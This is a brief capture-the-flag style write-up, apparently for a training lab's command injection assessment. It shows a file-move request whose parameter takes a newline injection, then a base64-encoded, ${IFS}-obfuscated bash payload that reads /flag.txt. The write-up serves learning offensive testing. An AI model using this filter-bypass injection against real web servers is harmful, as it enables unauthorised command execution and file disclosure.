# Skills Assessment

* Authenticate to 83.136.251.97:45178 with user "guest" and password "guest" What is the content of '/flag.txt'?

Inside the web i can see it --><br>

<figure><img src="/files/uypJB3mG36HyOCKLEfbq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/i30H8dk4qvbG31omNKMZ" alt=""><figcaption></figcaption></figure>

And we can use the method "Move" -->

<figure><img src="/files/fbpLmUR2TwrIWjX22kdd" alt=""><figcaption></figcaption></figure>

```
http://94.237.56.64:43842/index.php?to=&from=51459716.txt&finish=1&move=1
```

> This is the first vulnerable camp, i try with `%0a` intro `?to=`

Nice! The same text, nothing different error, now i will to enconde in base64 the `cat /flag.txt`

```
## First encode the command
echo -n 'cat /flag.txt' | base64
## End Query
bash<<<$(base64${IFS}-d<<<Y2F0IC9mbGFnLnR4dA==)
```

<figure><img src="/files/8fduXYQD6GDftbPMi1J3" alt=""><figcaption></figcaption></figure>


---

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